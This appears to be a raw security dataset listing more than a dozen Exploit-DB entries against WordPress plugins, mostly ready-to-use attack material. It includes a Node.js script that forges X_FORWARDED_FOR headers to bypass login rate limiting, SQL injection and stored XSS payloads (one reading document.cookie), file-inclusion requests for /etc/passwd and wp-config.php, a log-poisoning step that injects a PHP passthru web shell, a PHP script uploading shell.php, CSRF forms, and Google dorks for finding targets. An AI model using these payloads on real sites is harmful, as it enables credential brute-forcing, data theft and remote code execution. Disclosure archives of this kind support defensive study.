deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46672
Description: WordPress Plugin Limit Login Attempts Reloaded 2.7.4 - Login Limit Bypass
Type: webapps
Platform: php
Date: 2019-04-08
Author: isdampe

Exploit:
#!/usr/bin/env node
const request = require("request")

/**
 * Exploit Title: Limit Login Attempts Reloaded by WPChef rate limiter bypass
 * Date: 2019-04-08
 * Exploit Author: isdampe
 * Software Link: https://wordpress.org/plugins/limit-login-attempts-reloaded
 * Version: 2.7.4
 * Tested on: WordPress 5.1.1
 *
 * Description
 * -----------
 *
 *  The plugin's primary goal is to limit the rate at which an individual can attempt
 *  to authenticate with WordPress. Plugin has support for HTTP headers 
 *  X_FORWARDED_FOR and X_SUCURI_CLIENTIP to allow rate limiting for users
 *  when web servers are behind a reverse proxy service.
 *  However, REMOTE_ADDR is not verified as a whitelisted proxy address, thus
 *  allowing an attacker to easily forge either the X_FORWARDED_FOR or 
 *  X_SUCURI_CLIENTIP headers to completely bypass the rate limiting service.
 *
 *  PoC
 *  ---
 */
class LoginRequest
{
	constructor(loginUri, numberOfRepititions) {
		this._loginUri = loginUri
		this._numberOfRepititions = numberOfRepititions
		this._count = 0
	}

	async process() {
		await this._sendRequest()
		if (this._count++ < this._numberOfRepititions)
			this.process()
	}

	async _sendRequest() {
		return new Promise(async (resolve, reject) => {
			console.log(`Sending request ${this._count}...`)

			request.post({
				url : this._loginUri,
				form: {
					"log": this._getRandomString(),
					"pwd": this._getRandomString(),
					"wp-submit": "Log+In",
					"redirect_to": "/wp-admin/",
					"testcookie": "1"
				},
				headers: {
					"X_FORWARDED_FOR": this._getRandomIp()
				}
			}, (err, res, body) => {
				if (err)
					console.error(err)

				if (body.indexOf("Too many failed") > -1) {
					reject("Login was rejected, exploit failed.")
					return
				}

				resolve()
				console.log(`\tRequest ${this._count} was not blocked`)
			})

		})
	}

	_getRandomString() {
		const map = "abcdefghijklmnopqrstuvwxyz[PII_REDACTED]"
		const length = Math.floor(Math.random() * 15) + 1
		let buffer = ""
		for (let i=0; i<length; ++i)
			buffer += Math.floor(Math.random() * map.length)

		return buffer
	}

	_getRandomIp() {
		const bits = []
		for (let x=0; x<4; ++x)
			bits.push(Math.floor(Math.random() * 254)) + 1
		return bits.join(".")
	}

}

if (process.argv.length < 4) {
	console.log("Usage: ./bypass-ip-block.js [url] [number_of_repititions]")
	console.log("\turl:                     The url pointing to wp-login.php, (e.g. http://localhost/wp-login.php)")
	console.log("\tnumber_of_repititions:   The number of login attempts to create (e.g. 500)")
	process.exit(1)
}

const session = new LoginRequest(process.argv[2], process.argv[3])
session.process()
Exploit-DB #17887
Description: WordPress Plugin Link Library 5.2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-24
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Link Library plugin <= 5.2.1 SQL Injection Vulnerability
# Date: 2011-09-16
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/link-library.zip
# Version: 5.2.1 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/link-library/link-library-ajax.php?searchll=-1')/**/AND/**/1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

---------------
Vulnerable code
---------------
./link-library-ajax.php:
    echo $my_link_library_plugin->LinkLibrary(...);

./link-library.php:
    class link_library_plugin {
        ...
        function LinkLibrary(...) {
            return $this->PrivateLinkLibrary(...)
        ...
        function PrivateLinkLibrary(...) {
            ...
            if ($_GET['searchll'] != "")
            {
                $searchterms = explode(" ", $_GET['searchll']);

                if ($searchterms)
                {
                    $mode = "search";
                    $termnb = 1;

                    foreach($searchterms as $searchterm)
                    {
                        if ($termnb == 1)
                        {
                            $linkquery .= " AND (link_name like '%" . $searchterm . "%' ";
                            $termnb++;
                        }
            ...
            $linkitems = $wpdb->get_results($linkquery, ARRAY_A);
Exploit-DB #49374
Description: WordPress Plugin litespeed cache 3.6 - 'server_ip' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-01-06
Author: Nhat Ha

Exploit:
# Exploit Title: WordPress Plugin litespeed-cache 3.6 - 'server_ip' Cross-Site Scripting
# Date: 20-12-2020
# Software Link: https://downloads.wordpress.org/plugin/litespeed-cache.3.6.zip
# Version: litespeed-cache
# Tested on: Windows 10 x64

# Description:
# A Stored Cross-site scripting (XSS) was discovered in wordpress plugins litespeed-cache 3.6
# One parameters(server_ip) have Cross-Site Scripting.

POST /wp-admin/admin.php?page=litespeed-general HTTP/1.1
Host: localhost
Content-Length: 374
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/wp-admin/admin.php?page=litespeed-general
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie:
wordpress_a5beef43d228c89cc1d954ec4fcadda1=admin%7C[PII_REDACTED]%7CM6c2pV6VbnD2OElpSET6Aw3GhKFJBGdgetyfHtqxJkC%7C27d[PII_REDACTED]7d8645200c65a7f508dffef6a9184800b2905627ccbd4d71806;
wordpress_test_cookie=WP%20Cookie%20check;
_lscache_vary=9effc614452472ce40565e73d3f4301c;
wordpress_logged_in_a5beef43d228c89cc1d954ec4fcadda1=admin%7C[PII_REDACTED]%7CM6c2pV6VbnD2OElpSET6Aw3GhKFJBGdgetyfHtqxJkC%7Cd7e1a2a77822d410d7ebe2540b88dc68f908a031ceda6e884995ff419bfb6b38;
wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=[PII_REDACTED]
Connection: close

LSCWP_CTRL=save-settings&LSCWP_NONCE=af21ea74b2&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3Dlitespeed-general&_settings-enroll%5B%5D=auto_upgrade&auto_upgrade=0&_settings-enroll%5B%5D=api_key&api_key=&_settings-enroll%5B%5D=server_ip&server_ip=%3Cscript%3Ealert%28%27Hoa%27%29%3C%2Fscript%3E&_settings-enroll%5B%5D=news&news=1&litespeed-submit=Save+Changes
Exploit-DB #47037
Description: WordPress Plugin Live Chat Unlimited 2.8.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-06-25
Author: m0ze

Exploit:
# Exploit Title: Live Chat Unlimited v2.8.3 Stored XSS Injection
# Google Dork: inurl:"wp-content/plugins/screets-lcx"
# Date: 2019/06/25
# Exploit Author: m0ze
# Vendor Homepage: https://screets.com/
# Software Link: https://codecanyon.net/item/wordpress-live-chat-plugin/3952877
# Version: 2.8.3
# Tested on: Windows 10 / Parrot OS
# CVE : -


Info:

Weak security measures like bad input field data filtering has been
discovered in the «Live Chat Unlimited». Current version of this
premium WordPress plugin is 2.8.3.



PoC:

Go to the demo website https://site.com/try/lcx/night-bird/ and open chat window by clicking on «Open/close» link, then click on «Online mode» to go online. Use your payload inside input field and press [Enter]. 
Provided exaple payloads working on the admin area, so it's possible to steal admin cookies or force a redirect to any other
website.
Example #1: <!--<img src="--><img src=x onerror=(alert)(`m0ze`)//">m0ze
Example #2: <!--<img src="--><img src=x onerror=(alert)(document.cookie)//">m0ze
Exploit-DB #17864
Description: WordPress Plugin Livesig 0.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-09-19
Author: Ben Schmidt

Exploit:
# Exploit Title: Livesig Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/livesig
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/livesig/download/
# Version: 0.4 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/livesig/livesig-ajax-backend.php POST="wp-root=RFI&action=asdf"

---
Vulnerable Code
---
// Exit if no function specified
if( !isset( $_POST['action'] ) || '' == $_POST['action'] ) {
        echo '{ errcode: "ERR-000", errmsg: "No action specified" }';
        exit();
}

include( $_POST['wp-root'] . 'wp-config.php' );
Exploit-DB #45439
Description: WordPress Plugin Localize My Post 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2018-09-19
Author: Manuel García Cárdenas

Exploit:
# Exploit Title: WordPress Plugin Localize My Post 1.0 - Local File Inclusion
# Author: Manuel Garcia Cardenas
# Date: 2018-09-19
# Software link: https://es.wordpress.org/plugins/localize-my-post/
# CVE: 2018-16299

# DESCRIPTION
# This bug was found in the file: /localize-my-post/ajax/include.php
# include($_REQUEST['file']);
# The parameter "file" it is not sanitized allowing include local files
# To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application.

# Local File Inclusion POC:

GET /wordpress/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd
Exploit-DB #46619
Description: WordPress Plugin Loco Translate 2.2.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2019-03-28
Author: Ali S. Ahmad

Exploit:
# Exploit Title: Wordpress Loco Translate (Version 2.2.1) Plugin LFI
# Google Dork: N/A
# Date: 03 / 26 / 2019
# Exploit Author: Ali S. Ahmad (S4R1N)
# Vendor Homepage: https://localise.biz/
# Software Link: https://wordpress.org/plugins/loco-translate/
# Version: (Version 2.2.1)
# Tested on: Debian GNU/Linux 9 (Docker)
# CVE : N/A
***********************************************************************
Discovered By: Ali S. Ahmad (S4R1N) 03 / 26 / 2019
***********************************************************************
A local file inclusion bug was discovered on the Wordpress Loco Translate (Version 2.2.1) Plugin. 

This bug can be exploited by any user who has acces to the plugin with the access levels ranging from subscriber to admin. Exploitation of the bug abuses the template editing fucntionality of the plugin and the file-view action, this allows a user to access any system file and view its contents. 
Exploitation can be done via two main methods, either using (..%2F..%2F..%2F..%2Fetc%2Fpasswd) or directly calling the file via file path (/etc/passwd).

***********************************************************************
Tools used : 
Attacker OS : Fedora 29 
Victim OS : Debian GNU/Linux 9 (running on docker)
Manual Testing tool : Burp Repeater / Browser
***********************************************************************
Proof of Concept (PoC):

Step 1 - Log into Wordpress instance
Step 2 - Make sure the given user has access to the plugin (can be confirmed on by checking the side panel for the Loco Translate Plugin)
Step 3 - Select the theme you would like 
Step 4 - Click edit template
Step 5 - Click Source (to view file source code)
Step 6 - In the url bar change path to the file you want to read (something like /etc/passwd), file path will then be visible. 

URL : the following should yeild the contents of /etc/passwd /wp-admin/admin.php?path=%2Fetc%2Fpasswd&bundle=twentynineteen&domain=twentynineteen&page=loco-theme&action=file-view
Exploit-DB #34762
Description: WordPress Plugin Login Widget With ShortCode 3.1.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-09-25
Author: dxw

Exploit:
Details
================
Software: Login Widget With Shortcode
Version: 3.1.1
Homepage: http://wordpress.org/plugins/login-sidebar-widget/
Advisory report: https://security.dxw.com/advisories/csrfxss-vulnerablity-in-login-widget-with-shortcode-allows-unauthenticated-attackers-to-do-anything-an-admin-can-do/
CVE: Awaiting assignment
CVSS: 6.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:P)

Description
================
CSRF/XSS vulnerablity in Login Widget With Shortcode allows unauthenticated attackers to do anything an admin can do

Vulnerability
================
This plugin is vulnerable to a combination CSRF/XSS attack. An attacker able to convince an admin to visit a link of their choosing is able to insert arbitrary HTML into an admin page.  Using that ability they can use JavaScript to control an admin user’s browser, allowing the attacker to create user accounts, create posts, delete all posts, etc.

Proof of concept
================
If a logged-in administrator user clicks the submit button on this form, a javascript alert will display in the admin screens. (In a real attack the form can be made to auto-submit using Javascript).
<form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=login_widget_afo\">
  <input type=\"text\" name=\"custom_style_afo\" value=\"&lt;/textarea&gt;<script>alert(1)</script>\">
  <input type=\"text\" name=\"option\" value=\"login_widget_afo_save_settings\">
  <input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 3.2.1 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2014-08-26: Discovered
2014-09-15: Reported to vendor by email
2014-09-15: Vendor reported the issue fixed and a new version released
2014-09-17: Published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
Exploit-DB #8791
Description: WordPress Plugin Lytebox - 'wp-lytebox' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-05-26
Author: TurkGuvenligi

Exploit:
WP Plugin Lytebox Local File Ä°nclude and Remote Code Exe.

Download ; http://grupenet.com/wp-content/uploads/wp-lytebox.zip

Author : TurkGuvenligi

Site : www.turkguvenligi.info - admin@turkguvenligi.info

Agd_Scorp - t4cs1zkr4L - TheHacker - Fatih - BLaSTeR

LFÄ°;

http://localhost/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../../../../../etc/profile%00

RCE;

open cmd (cmd aÃ§Ä±yoruz)

nc -vv 127.0.0.1 80 (connecting)
GET /<?php passthru(\$_GET[cmd]); ?> HTTP/1.0
Host : www.target.com

Our error is recorded and access_log :) yeah

http://localhost/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../../../../../var/log/apache2/access_log&cmd=[RCE]

access_log file ;


../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../etc/httpd/logs/access_log
../../../../../../../../../../etc/httpd/logs/access.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/apache2/error_log
../../../../../../../../../../var/log/apache2/error.log
../../../../../../../../../../var/log/apache2/access_log
../../../../../../../../../../var/log/apache2/access.log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/error_log
../../../../../../../../../../var/log/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/access.log

good by. [www.turkguvenligi.info]

# milw0rm.com [2009-05-26]
Exploit-DB #19056
Description: WordPress Plugin Mac Photo Gallery 2.7 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-11
Author: Adrien Thierry

Exploit:
###########################################################
#
# Exploit Title: Wordpress Mac Photo Gallery 2.7 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/mac-dock-gallery/
# Date: 11/06/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage:  http://www.apptha.com
# Software Link: http://downloads.wordpress.org/plugin/mac-dock-gallery.2.7.zip
# Version: 2.7
#
###########################################################

Vuln page : http://mysite.com/wp-content/plugins/mac-dock-gallery/upload-file.php

exploit :

<?php
$u="C:\Program Files (x86)\EasyPHP-5.3.9\www\shell.php";
$c = curl_init("http://127.0.0.1/wordpress/wp-content/plugins/mac-dock-gallery/upload-file.php");
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('uploadfile'=>"@$u",
'albumId'=>"1",
'mode'=>"image"));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e; 
?>

shell access : http://mysite.com/wp-content/uploads/mac-dock-gallery/shell.php

#####################################################################
Exploit-DB #41566
Description: WordPress Plugin Mac Photo Gallery 3.0 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2017-03-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: WordPress Plugin Mac Photo Gallery v3.0 - Arbitrary File Download
# Google Dork: N/A
# Date: 09.03.2017
# Vendor Homepage: https://www.apptha.com/
# Software: https://www.apptha.com/category/extension/Wordpress/Mac-Photo-Gallery
# Demo: http://www.apptha.com/demo/mac-photo-gallery
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# Exploit :
# http://localhost/[PLUGIN_PATH]/macdownload.php?albid=../../../wp-load.php
# Etc..
# # # # #
Exploit-DB #40290
Description: WordPress Plugin Mail Masta 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2016-08-23
Author: Guillermo Garcia Marcos

Exploit:
[+] Date: [23-8-2016]
[+] Autor Guillermo Garcia Marcos 
[+] Vendor: https://downloads.wordpress.org/plugin/mail-masta.zip
[+] Title: Mail Masta WP Local File Inclusion
[+] info: Local File Inclusion 

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php:
Line 5: include($_GET['pl']);

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php
Line 5: include($_GET['pl']);

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);


This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.


Typical proof-of-concept would be to load passwd file:


http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
Exploit-DB #41438
Description: WordPress Plugin Mail Masta 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-18
Author: Hanley Shun

Exploit:
# Exploit Title: Multiple SQL injection vulnerabilities in Mail Masta (aka mail-masta) plugin 1.0 for Wordpress.
# Date: 02/18/2017
# Exploit Author: Hanley Shun
# Vendor Homepage: https://wpcore.com/plugin/mail-masta
# Software Link: https://www.exploit-db.com/apps/78745b48b15bf2b81153556ef1c8ec48-mail-masta.zip
# Version: 1.0
# Tested on: Kali Linux x64, Ubuntu 14.04 x64
# CVE : [CVE-2017-6095, CVE-2017-6096, CVE-2017-6097, CVE-2017-6098]


Mail-Masta SQL Injection

Page: ./wp-content/plugins/mail-masta/inc/lists/csvexport.php (Unauthenticated)

GET Parameter: list_id

http://my_wp_app/wp-content/plugins/mail-masta/inc/lists/csvexport.php?list_id=0+OR+1%3D1&pl=/var/www/html/wordpress/wp-load.php


csvexport.php:

$list_id=$_GET['list_id'];
global $wpdb;
$mail_subscribers = $wpdb->prefix . "masta_subscribers";
$masta_list = $wpdb->prefix . "masta_list";
$check_sql = "SELECT * FROM $mail_subscribers WHERE list_id = $list_id";
$check_list="SELECT * FROM $masta_list WHERE list_id= $list_id";
$wp_list=$wpdb->get_results($check_sql);
$wp_list_s=$wpdb->get_results($check_list);


Page: ./wp-content/plugins/mail-masta/inc/lists/view-list.php (Requires Wordpress admin)

GET Parameter: filter_list

http://my_wp_app/wp-admin/admin.php?page=masta-lists&action=view_list&filter_list=0+OR+1%3D1


view-list.php:

global $wpdb;
$list_id = $_GET['filter_list'];
$masta_list = $wpdb->prefix . "masta_list";
$masta_subscribers = $wpdb->prefix . "masta_subscribers";
$listdata = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $masta_list WHERE list_id= $list_id",$query));
$list_subscribers = $wpdb->get_var( $wpdb->prepare("SELECT COUNT( `list_id` ) FROM $masta_subscribers WHERE list_id= $list_id AND status=1",$query));


Page: ./wp-content/plugins/mail-masta/inc/campaign/count_of_send.php (Requires Wordpress admin)

POST Parameter: camp_id

http://my_wp_app/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php/?pl=/var/www/html/wordpress/wp-load.php


count_of_send.php:

include($_GET['pl']);
global $wpdb;
$camp_id=$_POST['camp_id'];
$masta_reports = $wpdb->prefix . "masta_reports";
$count=$wpdb->get_results("SELECT count(*) co from  $masta_reports where camp_id=$camp_id and status=1");


Page: ./wp-content/plugins/mail-masta/inc/campaign_save.php (Requires Wordpress admin)

POST Parameter: list_id

campaign_save.php:

$list_id=$_POST['list_id'];
$check_list = $wpdb->get_var("SELECT count(id) FROM wp_masta_subscribers where list_id=$list_id");


POST /wp-admin/admin-ajax.php?id= HTTP/1.1

...snip...

action=my_action&url=%2Fvar%2Fwww%2Fhtml%2Fwp-content%2Fplugins%2Fmail-masta%2Finc%2Fcampaign_save.php&sender_selected_list_check=check&list_id=1+OR+1%3D1
Exploit-DB #38517
Description: WordPress Plugin Mail On Update - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-05-16
Author: Henri Salo

Exploit:
source: https://www.securityfocus.com/bid/59932/info

The Mail On Update plugin for WordPress is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.

Mail On Update 5.1.0 is vulnerable; prior versions may also be affected. 

<html><form action="https://example.com/wp/wp-admin/options-general.php?page=mail-on-update"; method="post" 
class="buttom-primary">
<input name="mailonupdate_mailto" type="hidden" value="example0 () example com
example1 () example com
example2 () example com
example3 () example com
example4 () example com
example5 () example com
example6 () example com
example7 () example com
example8 () example com
example9 () example com
example10 () example com
henri+monkey () nerv fi" />
<input name="submit" type="submit" value="Save"/></form></html>